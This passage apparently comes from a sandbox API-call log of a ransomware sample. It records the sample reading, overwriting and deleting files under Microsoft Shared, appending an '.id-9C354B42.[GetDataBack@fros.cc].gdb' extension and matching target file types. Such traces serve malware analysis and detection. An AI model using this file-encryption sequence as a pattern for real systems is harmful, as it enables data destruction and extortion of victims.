Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0131.946] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2a7fe9c | out: lpFileSize=0x2a7fe9c*=629664) returned 1 [0131.946] CloseHandle (hObject=0x1d4) returned 1 [0131.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe")) returned 0x20 [0131.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0131.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0131.947] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fe48 | out: lpNewFilePointer=0x0) returned 1 [0131.947] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fe48 | out: lpNewFilePointer=0x0) returned 1 [0131.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0131.947] GetLastError () returned 0x0 [0131.947] ReadFile (in: hFile=0x1d4, lpBuffer=0x3340020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fe54, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesRead=0x2a7fe54*=0x99ba0, lpOverlapped=0x0) returned 1 [0131.961] WriteFile (in: hFile=0x214, lpBuffer=0x3340020*, nNumberOfBytesToWrite=0x99bb0, lpNumberOfBytesWritten=0x2a7fc1c, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesWritten=0x2a7fc1c*=0x99bb0, lpOverlapped=0x0) returned 1 [0131.971] ReadFile (in: hFile=0x1d4, lpBuffer=0x3340020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fe54, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesRead=0x2a7fe54*=0x0, lpOverlapped=0x0) returned 1 [0131.971] WriteFile (in: hFile=0x214, lpBuffer=0x3340020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc1c, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesWritten=0x2a7fc1c*=0xec, lpOverlapped=0x0) returned 1 [0131.971] SetEndOfFile (hFile=0x214) returned 1 [0131.971] CloseHandle (hObject=0x214) returned 1 [0131.971] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fe48 | out: lpNewFilePointer=0x0) returned 1 [0131.972] SetEndOfFile (hFile=0x1d4) returned 1 [0131.976] CloseHandle (hObject=0x1d4) returned 1 [0131.976] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0131.977] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe")) returned 1 [0131.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0131.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0131.977] lstrlenW (lpString=".doc") returned 4 [0131.977] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0131.977] lstrlenW (lpString=".docx") returned 5 [0131.977] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0131.977] lstrlenW (lpString=".pdf") returned 4 [0131.977] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0131.977] lstrlenW (lpString=".xls") returned 4 [0131.977] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0131.977] lstrlenW (lpString=".xlsx") returned 5 [0131.977] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0131.977] lstrlenW (lpString=".ppt") returned 4 [0131.977] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0131.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0131.977] lstrlenW (lpString=".zip") returned 4 [0131.977] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0131.977] lstrlenW (lpString=".rar") returned 4 [0131.977] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0131.977] lstrlenW (lpString=".bz2") returned 4 [0131.977] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0131.977] lstrlenW (lpString=".7z") returned 3 [0131.977] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0131.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0131.978] lstrlenW (lpString=".dbf") returned 4 [0131.978] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0131.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0131.978] lstrlenW (lpString=".1cd") returned 4 [0131.978] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0131.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0131.978] lstrlenW (lpString=".jpg") returned 4 [0131.978] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0131.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0131.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0131.978] lstrlenW (lpString=".doc") returned 4 [0131.978] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0131.978] lstrlenW (lpString=".docx") returned 5 [0131.978] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0131.978] lstrlenW (lpString=".pdf") returned 4 [0131.978] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0131.978] lstrlenW (lpString=".xls") returned 4 [0131.978] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0131.978] lstrlenW (lpString=".xlsx") returned 5 [0131.978] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0131.978] lstrlenW (lpString=".ppt") returned 4 [0131.978] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0131.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0131.978] lstrlenW (lpString=".zip") returned 4 [0131.978] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0131.978] lstrlenW (lpString=".rar") returned 4 [0131.978] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0131.978] lstrlenW (lpString=".bz2") returned 4 [0131.978] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0131.978] lstrlenW (lpString=".7z") returned 3 [0131.978] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0131.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0131.978] lstrlenW (lpString=".dbf") returned 4 [0131.979] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0131.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0131.979] lstrlenW (lpString=".1cd") returned 4 [0131.979] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0131.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0131.979] lstrlenW (lpString=".jpg") returned 4 [0131.979] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0131.979] lstrcmpiW (lpString1=".DLL", lpString2=".gdb") returned -1 [0131.979] lstrlenW (lpString="VISFILT.DLL") returned 11 [0131.979] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0132.046] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2a7fe9c | out: lpFileSize=0x2a7fe9c*=2124664) returned 1 [0132.046] CloseHandle (hObject=0x204) returned 1 [0132.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll")) returned 0x20 [0132.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0132.046] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0132.047] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0132.047] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbec | out: lpNewFilePointer=0x0) returned 1 [0132.047] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbac | out: lpNewFilePointer=0x0) returned 1 [0132.047] ReadFile (in: hFile=0x204, lpBuffer=0x3340058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a7fbb8, lpOverlapped=0x0 | out: lpBuffer=0x3340058*, lpNumberOfBytesRead=0x2a7fbb8*=0x40000, lpOverlapped=0x0) returned 1 [0132.051] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xace7d, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbac | out: lpNewFilePointer=0x0) returned 1 [0132.051] ReadFile (in: hFile=0x204, lpBuffer=0x3380058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a7fbb8, lpOverlapped=0x0 | out: lpBuffer=0x3380058*, lpNumberOfBytesRead=0x2a7fbb8*=0x40000, lpOverlapped=0x0) returned 1 [0132.053] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2a7fbec | out: lpNewFilePointer=0xffffffff) returned 1 [0132.054] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x1c6b78, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbac | out: lpNewFilePointer=0x0) returned 1 [0132.054] ReadFile (in: hFile=0x204, lpBuffer=0x33c0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a7fbb8, lpOverlapped=0x0 | out: lpBuffer=0x33c0058*, lpNumberOfBytesRead=0x2a7fbb8*=0x40000, lpOverlapped=0x0) returned 1 [0132.121] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fe48 | out: lpNewFilePointer=0x0) returned 1 [0132.121] WriteFile (in: hFile=0x204, lpBuffer=0x3340020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2a7fc30, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesWritten=0x2a7fc30*=0xc0102, lpOverlapped=0x0) returned 1 [0132.257] SetEndOfFile (hFile=0x204) returned 1 [0132.318] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbfc | out: lpNewFilePointer=0x0) returned 1 [0132.318] WriteFile (in: hFile=0x204, lpBuffer=0x38d9fe0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a7fc08, lpOverlapped=0x0 | out: lpBuffer=0x38d9fe0*, lpNumberOfBytesWritten=0x2a7fc08*=0x40000, lpOverlapped=0x0) returned 1 [0132.319] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xace7d, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbfc | out: lpNewFilePointer=0x0) returned 1 [0132.319] WriteFile (in: hFile=0x204, lpBuffer=0x38d9fe0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a7fc08, lpOverlapped=0x0 | out: lpBuffer=0x38d9fe0*, lpNumberOfBytesWritten=0x2a7fc08*=0x40000, lpOverlapped=0x0) returned 1 [0132.321] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x1c6b78, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbfc | out: lpNewFilePointer=0x0) returned 1 [0132.321] WriteFile (in: hFile=0x204, lpBuffer=0x38d9fe0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a7fc08, lpOverlapped=0x0 | out: lpBuffer=0x38d9fe0*, lpNumberOfBytesWritten=0x2a7fc08*=0x40000, lpOverlapped=0x0) returned 1 [0132.322] CloseHandle (hObject=0x204) returned 1 [0132.322] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0132.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0132.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0132.323] lstrlenW (lpString=".doc") returned 4 [0132.323] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0132.323] lstrlenW (lpString=".docx") returned 5 [0132.323] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0132.323] lstrlenW (lpString=".pdf") returned 4 [0132.323] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0132.323] lstrlenW (lpString=".xls") returned 4 [0132.323] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0132.323] lstrlenW (lpString=".xlsx") returned 5 [0132.323] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0132.323] lstrlenW (lpString=".ppt") returned 4 [0132.323] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0132.323] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0132.323] lstrlenW (lpString=".zip") returned 4 [0132.323] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0132.323] lstrlenW (lpString=".rar") returned 4 [0132.323] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0132.323] lstrlenW (lpString=".bz2") returned 4 [0132.323] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0132.323] lstrlenW (lpString=".7z") returned 3 [0132.323] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0132.323] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0132.323] lstrlenW (lpString=".dbf") returned 4 [0132.323] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0132.323] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0132.323] lstrlenW (lpString=".1cd") returned 4 [0132.323] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0132.323] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0132.323] lstrlenW (lpString=".jpg") returned 4 [0132.323] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0132.323] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0132.323] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0132.323] lstrlenW (lpString=".doc") returned 4 [0132.323] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0132.323] lstrlenW (lpString=".docx") returned 5 [0132.323] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0132.323] lstrlenW (lpString=".pdf") returned 4 [0132.323] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0132.323] lstrlenW (lpString=".xls") returned 4 [0132.323] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0132.323] lstrlenW (lpString=".xlsx") returned 5 [0132.323] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0132.323] lstrlenW (lpString=".ppt") returned 4 [0132.323] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0132.323] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0132.323] lstrlenW (lpString=".zip") returned 4 [0132.323] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0132.323] lstrlenW (lpString=".rar") returned 4 [0132.323] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0132.324] lstrlenW (lpString=".bz2") returned 4 [0132.324] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0132.324] lstrlenW (lpString=".7z") returned 3 [0132.324] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0132.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0132.324] lstrlenW (lpString=".dbf") returned 4 [0132.324] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0132.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0132.324] lstrlenW (lpString=".1cd") returned 4 [0132.324] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0132.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0132.324] lstrlenW (lpString=".jpg") returned 4 [0132.324] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0132.324] lstrcmpiW (lpString1=".FLT", lpString2=".gdb") returned -1 [0132.324] lstrlenW (lpString="JPEGIM32.FLT") returned 12 [0132.324] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0132.371] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2a7fe9c | out: lpFileSize=0x2a7fe9c*=241024) returned 1 [0132.371] CloseHandle (hObject=0x1b0) returned 1 [0132.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt")) returned 0x20 [0132.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0132.372] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0132.372] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fe48 | out: lpNewFilePointer=0x0) returned 1 [0132.372] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fe48 | out: lpNewFilePointer=0x0) returned 1 [0132.372] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0132.372] GetLastError () returned 0x0 [0132.372] ReadFile (in: hFile=0x1b0, lpBuffer=0x3340020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fe54, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesRead=0x2a7fe54*=0x3ad80, lpOverlapped=0x0) returned 1 [0132.821] WriteFile (in: hFile=0x224, lpBuffer=0x3340020*, nNumberOfBytesToWrite=0x3ad90, lpNumberOfBytesWritten=0x2a7fc1c, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesWritten=0x2a7fc1c*=0x3ad90, lpOverlapped=0x0) returned 1 [0132.825] ReadFile (in: hFile=0x1b0, lpBuffer=0x3340020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fe54, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesRead=0x2a7fe54*=0x0, lpOverlapped=0x0) returned 1 [0132.825] WriteFile (in: hFile=0x224, lpBuffer=0x3340020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc1c, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesWritten=0x2a7fc1c*=0xec, lpOverlapped=0x0) returned 1 [0132.825] SetEndOfFile (hFile=0x224) returned 1 [0132.825] CloseHandle (hObject=0x224) returned 1 [0132.826] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fe48 | out: lpNewFilePointer=0x0) returned 1 [0132.826] SetEndOfFile (hFile=0x1b0) returned 1 [0132.827] CloseHandle (hObject=0x1b0) returned 1 [0132.827] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0132.828] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt")) returned 1 [0132.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0132.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0132.828] lstrlenW (lpString=".doc") returned 4 [0132.828] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0132.828] lstrlenW (lpString=".docx") returned 5 [0132.828] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0132.828] lstrlenW (lpString=".pdf") returned 4 [0132.828] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0132.828] lstrlenW (lpString=".xls") returned 4 [0132.828] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0132.828] lstrlenW (lpString=".xlsx") returned 5 [0132.828] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0132.828] lstrlenW (lpString=".ppt") returned 4 [0132.828] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0132.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0132.828] lstrlenW (lpString=".zip") returned 4 [0132.828] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0132.828] lstrlenW (lpString=".rar") returned 4 [0132.828] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0132.828] lstrlenW (lpString=".bz2") returned 4 [0132.828] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0132.828] lstrlenW (lpString=".7z") returned 3 [0132.828] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0132.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0132.828] lstrlenW (lpString=".dbf") returned 4 [0132.828] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0132.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0132.829] lstrlenW (lpString=".1cd") returned 4 [0132.829] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0132.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0132.829] lstrlenW (lpString=".jpg") returned 4 [0132.829] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0132.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0132.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0132.829] lstrlenW (lpString=".doc") returned 4 [0132.829] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0132.829] lstrlenW (lpString=".docx") returned 5 [0132.829] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0132.829] lstrlenW (lpString=".pdf") returned 4 [0132.829] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0132.829] lstrlenW (lpString=".xls") returned 4 [0132.829] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0132.829] lstrlenW (lpString=".xlsx") returned 5 [0132.829] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0132.829] lstrlenW (lpString=".ppt") returned 4 [0132.829] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0132.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0132.829] lstrlenW (lpString=".zip") returned 4 [0132.829] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0132.829] lstrlenW (lpString=".rar") returned 4 [0132.829] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0132.829] lstrlenW (lpString=".bz2") returned 4 [0132.829] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0132.829] lstrlenW (lpString=".7z") returned 3 [0132.829] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0132.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 